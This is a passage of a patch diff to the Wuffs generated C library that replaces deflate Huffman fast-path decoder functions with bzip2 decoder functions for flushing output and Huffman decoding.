(wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_curr), iop_a_dst += 1); -+ v_flush_prev = v_curr; -+ v_block_size -= 1u; -+ } else { -+ v_entry = self->private_data.f_bwt[v_flush_pointer]; -+ v_curr = ((uint8_t)(v_entry)); -+ v_flush_pointer = (v_entry >> 12u); -+ v_flush_repeat_count = ((uint32_t)(v_curr)); -+ while (v_flush_repeat_count > 0u) { -+ v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[((uint8_t)(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_flush_prev))] ^ ((uint32_t)(v_block_checksum_have << 8u))); -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) > 0u) { -+ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_flush_prev), iop_a_dst += 1); -+ } -+ v_flush_repeat_count -= 1u; -+ } -+ v_flush_repeat_count = 0u; -+ v_flush_prev = v_curr; -+ v_block_size -= 1u; -+ } - } -- v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); -- label__loop__continue:; -- while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 8u)) { -- v_bits |= ((uint64_t)(wuffs_base__peek_u64le__no_bounds_check(iop_a_src) << (v_n_bits & 63u))); -- iop_a_src += ((63u - (v_n_bits & 63u)) >> 3u); -- v_n_bits |= 56u; -- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- if ((v_table_entry >> 31u) != 0u) { -- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); -- continue; -- } else if ((v_table_entry >> 30u) != 0u) { -- } else if ((v_table_entry >> 29u) != 0u) { -- self->private_impl.f_end_of_block = true; -- break; -- } else if ((v_table_entry >> 28u) != 0u) { -- v_redir_top = ((v_table_entry >> 8u) & 65535u); -- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -- v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- if ((v_table_entry >> 31u) != 0u) { -- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); -- continue; -- } else if ((v_table_entry >> 30u) != 0u) { -- } else if ((v_table_entry >> 29u) != 0u) { -- self->private_impl.f_end_of_block = true; -- break; -- } else if ((v_table_entry >> 28u) != 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -- } else if ((v_table_entry >> 27u) != 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -- goto exit; -- } else { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -- } -- } else if ((v_table_entry >> 27u) != 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -- goto exit; -- } else { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -- } -- v_length = (((v_table_entry >> 8u) & 255u) + 3u); -- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -- if (v_table_entry_n_bits > 0u) { -- v_length = (((v_length + 253u + ((uint32_t)(((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 255u) + 3u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- } -- v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- if ((v_table_entry >> 28u) == 1u) { -- v_redir_top = ((v_table_entry >> 8u) & 65535u); -- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -- v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- } -- if ((v_table_entry >> 24u) != 64u) { -- if ((v_table_entry >> 24u) == 8u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -+ self->private_impl.f_flush_pointer = v_flush_pointer; -+ self->private_impl.f_flush_repeat_count = v_flush_repeat_count; -+ self->private_impl.f_flush_prev = v_flush_prev; -+ self->private_impl.f_block_checksum_have = v_block_checksum_have; -+ if (v_block_size <= 900000u) { -+ self->private_impl.f_block_size = v_block_size; -+ } -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func bzip2.decoder.flush_slow -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bzip2__decoder__flush_slow( -+ wuffs_bzip2__decoder* self, -+ wuffs_base__io_buffer* a_dst) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_flush_pointer = 0; -+ uint32_t v_flush_repeat_count = 0; -+ uint8_t v_flush_prev = 0; -+ uint32_t v_block_checksum_have = 0; -+ uint32_t v_block_size = 0; -+ uint32_t v_entry = 0; -+ uint8_t v_curr = 0; -+ -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; - } -- v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); -- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -- v_dist_minus_1 = ((v_dist_minus_1 + ((uint32_t)(((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 32767u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- do { -- if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { -- v_hlen = 0u; -- v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); -- if (v_length > v_hdist) { -- v_length -= v_hdist; -- v_hlen = v_hdist; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_flush_slow; -+ if (coro_susp_point) { -+ v_flush_pointer = self->private_data.s_flush_slow.v_flush_pointer; -+ v_flush_repeat_count = self->private_data.s_flush_slow.v_flush_repeat_count; -+ v_flush_prev = self->private_data.s_flush_slow.v_flush_prev; -+ v_block_checksum_have = self->private_data.s_flush_slow.v_block_checksum_have; -+ v_block_size = self->private_data.s_flush_slow.v_block_size; -+ v_curr = self->private_data.s_flush_slow.v_curr; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ v_flush_pointer = self->private_impl.f_flush_pointer; -+ v_flush_repeat_count = self->private_impl.f_flush_repeat_count; -+ v_flush_prev = self->private_impl.f_flush_prev; -+ v_block_checksum_have = self->private_impl.f_block_checksum_have; -+ v_block_size = self->private_impl.f_block_size; -+ while ((v_block_size > 0u) && ! (self->private_impl.p_flush_slow != 0)) { -+ if (v_flush_repeat_count < 4u) { -+ v_entry = self->private_data.f_bwt[v_flush_pointer]; -+ v_curr = ((uint8_t)(v_entry)); -+ v_flush_pointer = (v_entry >> 12u); -+ if (v_curr == v_flush_prev) { -+ v_flush_repeat_count += 1u; - } else { -- v_hlen = v_length; -- v_length = 0u; -- } -- v_hdist += v_hdist_adjustment; -- if (self->private_impl.f_history_index < v_hdist) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); -- goto exit; -- } -- wuffs_base__io_writer__limited_copy_u32_from_slice( -- &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); -- if (v_length == 0u) { -- goto label__loop__continue; -+ v_flush_repeat_count = 1u; - } -- if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); -- goto exit; -+ v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[((uint8_t)(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_curr))] ^ ((uint32_t)(v_block_checksum_have << 8u))); -+ self->private_data.s_flush_slow.scratch = v_curr; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (iop_a_dst == io2_a_dst) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ goto suspend; - } -- } -- if ((v_dist_minus_1 + 1u) >= 8u) { -- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( -- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -- } else if ((v_dist_minus_1 + 1u) == 1u) { -- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( -- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -+ *iop_a_dst++ = ((uint8_t)(self->private_data.s_flush_slow.scratch)); -+ v_flush_prev = v_curr; -+ v_block_size -= 1u; - } else { -- wuffs_base__io_writer__limited_copy_u32_from_history_fast( -- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -+ v_entry = self->private_data.f_bwt[v_flush_pointer]; -+ v_curr = ((uint8_t)(v_entry)); -+ v_flush_pointer = (v_entry >> 12u); -+ v_flush_repeat_count = ((uint32_t)(v_curr)); -+ while (v_flush_repeat_count > 0u) { -+ v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[((uint8_t)(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_flush_prev))] ^ ((uint32_t)(v_block_checksum_have << 8u))); -+ self->private_data.s_flush_slow.scratch = v_flush_prev; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (iop_a_dst == io2_a_dst) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ goto suspend; -+ } -+ *iop_a_dst++ = ((uint8_t)(self->private_data.s_flush_slow.scratch)); -+ v_flush_repeat_count -= 1u; -+ } -+ v_flush_repeat_count = 0u; -+ v_flush_prev = v_curr; -+ v_block_size -= 1u; - } -- } while (0); -- } -- if (v_n_bits > 63u) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -- goto exit; -- } -- while (v_n_bits >= 8u) { -- v_n_bits -= 8u; -- if (iop_a_src > io1_a_src) { -- iop_a_src--; -- } else { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); -- goto exit; - } -- } -- self->private_impl.f_bits = ((uint32_t)((v_bits & ((((uint64_t)(1u)) << v_n_bits) - 1u)))); -- self->private_impl.f_n_bits = v_n_bits; -- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -+ self->private_impl.f_flush_pointer = v_flush_pointer; -+ self->private_impl.f_flush_repeat_count = v_flush_repeat_count; -+ self->private_impl.f_flush_prev = v_flush_prev; -+ self->private_impl.f_block_checksum_have = v_block_checksum_have; -+ if (v_block_size <= 900000u) { -+ self->private_impl.f_block_size = v_block_size; -+ } -+ -+ goto ok; -+ ok: -+ self->private_impl.p_flush_slow = 0; - goto exit; - } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_flush_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_flush_slow.v_flush_pointer = v_flush_pointer; -+ self->private_data.s_flush_slow.v_flush_repeat_count = v_flush_repeat_count; -+ self->private_data.s_flush_slow.v_flush_prev = v_flush_prev; -+ self->private_data.s_flush_slow.v_block_checksum_have = v_block_checksum_have; -+ self->private_data.s_flush_slow.v_block_size = v_block_size; -+ self->private_data.s_flush_slow.v_curr = v_curr; -+ - goto exit; - exit: - if (a_dst && a_dst->data.ptr) { - a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); - } -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } - - return status; - } --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --// ‼ WUFFS MULTI-FILE SECTION -x86_bmi2 - --// -------- func deflate.decoder.decode_huffman_fast32 -+// -------- func bzip2.decoder.decode_huffman_fast - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_deflate__decoder__decode_huffman_fast32( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -+wuffs_bzip2__decoder__decode_huffman_fast( -+ wuffs_bzip2__decoder* self, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - - uint32_t v_bits = 0; - uint32_t v_n_bits = 0; -- uint32_t v_table_entry = 0; -- uint32_t v_table_entry_n_bits = 0; -- uint32_t v_lmask = 0; -- uint32_t v_dmask = 0; -- uint32_t v_redir_top = 0; -- uint32_t v_redir_mask = 0; -- uint32_t v_length = 0; -- uint32_t v_dist_minus_1 = 0; -- uint32_t v_hlen = 0; -- uint32_t v_hdist = 0; -- uint32_t v_hdist_adjustment = 0; -+ uint32_t v_block_size = 0; -+ uint8_t v_which = 0; -+ uint32_t v_ticks = 0; -+ uint32_t v_section = 0; -+ uint32_t v_run_shift = 0; -+ uint16_t v_table_entry = 0; -+ uint16_t v_child = 0; -+ uint32_t v_child_ff = 0; -+ uint32_t v_i = 0; -+ uint32_t v_j = 0; -+ uint32_t v_output = 0; -+ uint32_t v_run = 0; -+ uint32_t v_mtft0 = 0; - -- uint8_t* iop_a_dst = NULL; -- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -- } -- } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -35657,205 +35461,92 @@ wuffs_deflate__decoder__decode_huffman_fast32( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -- goto exit; -- } - v_bits = self->private_impl.f_bits; - v_n_bits = self->private_impl.f_n_bits; -- v_lmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); -- v_dmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); -- if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { -- status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); -- goto exit; -- } -- v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); -- label__loop__continue:; -- while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 12u)) { -- if (v_n_bits < 15u) { -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -+ v_block_size = self->private_impl.f_block_size; -+ v_which = self->private_impl.f_decode_huffman_which; -+ v_ticks = self->private_impl.f_decode_huffman_ticks; -+ v_section = self->private_impl.f_decode_huffman_section; -+ v_run_shift = self->private_impl.f_decode_huffman_run_shift; -+ while (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { -+ if (v_ticks > 0u) { -+ v_ticks -= 1u; - } else { -- } -- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- if ((v_table_entry >> 31u) != 0u) { -- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); -- continue; -- } else if ((v_table_entry >> 30u) != 0u) { -- } else if ((v_table_entry >> 29u) != 0u) { -- self->private_impl.f_end_of_block = true; -- break; -- } else if ((v_table_entry >> 28u) != 0u) { -- if (v_n_bits < 15u) { -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- } else { -- } -- v_redir_top = ((v_table_entry >> 8u) & 65535u); -- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -- v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- if ((v_table_entry >> 31u) != 0u) { -- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); -- continue; -- } else if ((v_table_entry >> 30u) != 0u) { -- } else if ((v_table_entry >> 29u) != 0u) { -- self->private_impl.f_end_of_block = true; -- break; -- } else if ((v_table_entry >> 28u) != 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -- } else if ((v_table_entry >> 27u) != 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -- goto exit; -- } else { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ v_ticks = 49u; -+ v_section += 1u; -+ if (v_section >= self->private_impl.f_num_sections) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_number_of_sections); - goto exit; - } -- } else if ((v_table_entry >> 27u) != 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -- goto exit; -- } else { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -- } -- v_length = (((v_table_entry >> 8u) & 255u) + 3u); -- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -- if (v_table_entry_n_bits > 0u) { -- if (v_n_bits < 15u) { -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- } else { -- } -- v_length = (((v_length + 253u + ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 255u) + 3u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- } else { -- } -- if (v_n_bits < 15u) { -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- } else { -+ v_which = WUFFS_BZIP2__CLAMP_TO_5[((uint8_t)(self->private_data.f_huffman_selectors[(v_section & 32767u)] & 7u))]; - } -- v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- if ((v_table_entry >> 28u) == 1u) { -- if (v_n_bits < 15u) { -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- } else { -+ v_bits |= (wuffs_base__peek_u32be__no_bounds_check(iop_a_src) >> v_n_bits); -+ iop_a_src += ((31u - v_n_bits) >> 3u); -+ v_n_bits |= 24u; -+ v_table_entry = self->private_data.f_huffman_tables[v_which][(v_bits >> 24u)]; -+ v_bits <<= ((uint16_t)(v_table_entry >> 12u)); -+ v_n_bits -= ((uint32_t)(((uint16_t)(v_table_entry >> 12u)))); -+ v_child = ((uint16_t)(v_table_entry & 1023u)); -+ while (v_child < 257u) { -+ v_child = self->private_data.f_huffman_trees[v_which][v_child][(v_bits >> 31u)]; -+ v_bits <<= 1u; -+ if (v_n_bits <= 0u) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; - } -- v_redir_top = ((v_table_entry >> 8u) & 65535u); -- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -- v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- } else { -+ v_n_bits -= 1u; - } -- if ((v_table_entry >> 24u) != 64u) { -- if ((v_table_entry >> 24u) == 8u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ if (v_child < 768u) { -+ v_child_ff = ((uint32_t)(((uint16_t)(v_child & 255u)))); -+ v_output = ((uint32_t)(self->private_data.f_mtft[v_child_ff])); -+ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_child_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_child_ff)); -+ self->private_data.f_mtft[0u] = ((uint8_t)(v_output)); -+ self->private_data.f_letter_counts[v_output] += 1u; -+ self->private_data.f_bwt[v_block_size] = v_output; -+ if (v_block_size >= self->private_impl.f_max_incl_block_size) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); - goto exit; - } -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -+ v_block_size += 1u; -+ v_run_shift = 0u; -+ continue; -+ } else if (v_child == 768u) { -+ self->private_impl.f_decode_huffman_finished = true; -+ break; - } -- v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); -- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -- if (v_n_bits < v_table_entry_n_bits) { -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -+ if (v_run_shift >= 23u) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); -+ goto exit; - } -- v_dist_minus_1 = ((v_dist_minus_1 + ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 32767u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- do { -- if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { -- v_hlen = 0u; -- v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); -- if (v_length > v_hdist) { -- v_length -= v_hdist; -- v_hlen = v_hdist; -- } else { -- v_hlen = v_length; -- v_length = 0u; -- } -- v_hdist += v_hdist_adjustment; -- if (self->private_impl.f_history_index < v_hdist) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); -- goto exit; -- } -- wuffs_base__io_writer__limited_copy_u32_from_slice( -- &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); -- if (v_length == 0u) { -- goto label__loop__continue; -- } -- if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); -- goto exit; -- } -- } -- if ((v_dist_minus_1 + 1u) >= 8u) { -- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( -- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -- } else { -- wuffs_base__io_writer__limited_copy_u32_from_history_fast( -- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -- } -- } while (0); -- } -- while (v_n_bits >= 8u) { -- v_n_bits -= 8u; -- if (iop_a_src > io1_a_src) { -- iop_a_src--; -- } else { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); -+ v_run = ((((uint32_t)(v_child)) & 3u) << v_run_shift); -+ v_run_shift += 1u; -+ v_i = v_block_size; -+ v_j = (v_run + v_block_size); -+ if (v_j > self->private_impl.f_max_incl_block_size) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); - goto exit; - } -+ v_block_size = v_j; -+ v_mtft0 = ((uint32_t)(self->private_data.f_mtft[0u])); -+ self->private_data.f_letter_counts[v_mtft0] += v_run; -+ while (v_i < v_j) { -+ self->private_data.f_bwt[v_i] = v_mtft0; -+ v_i += 1u; -+ } - } -- self->private_impl.f_bits = (v_bits & ((((uint32_t)(1u)) << v_n_bits) - 1u)); -+ self->private_impl.f_bits = v_bits; - self->private_impl.f_n_bits = v_n_bits; -- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -- goto exit; -- } -+ self->private_impl.f_block_size = v_block_size; -+ self->private_impl.f_decode_huffman_which = v_which; -+ self->private_impl.f_decode_huffman_ticks = v_ticks; -+ self->private_impl.f_decode_huffman_section = v_section; -+ self->private_impl.f_decode_huffman_run_shift = v_run_shift; -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ -+ ok: - goto exit; - exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -@@ -35863,52 +35554,25 @@ wuffs_deflate__decoder__decode_huffman_fast32( - return status; - } - --// -------- func deflate.decoder.decode_huffman_fast64 -+// -------- func bzip2.decoder.decode_huffman_slow - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_deflate__decoder__decode_huffman_fast64( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -+wuffs_bzip2__decoder__decode_huffman_slow( -+ wuffs_bzip2__decoder* self, - wuffs_base__io_buffer* a_src) { -- return (*self->private_impl.choosy_decode_huffman_fast64)(self, a_dst, a_src); --} -+ wuffs_base__status status = wuffs_base__make_status(NULL); - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* 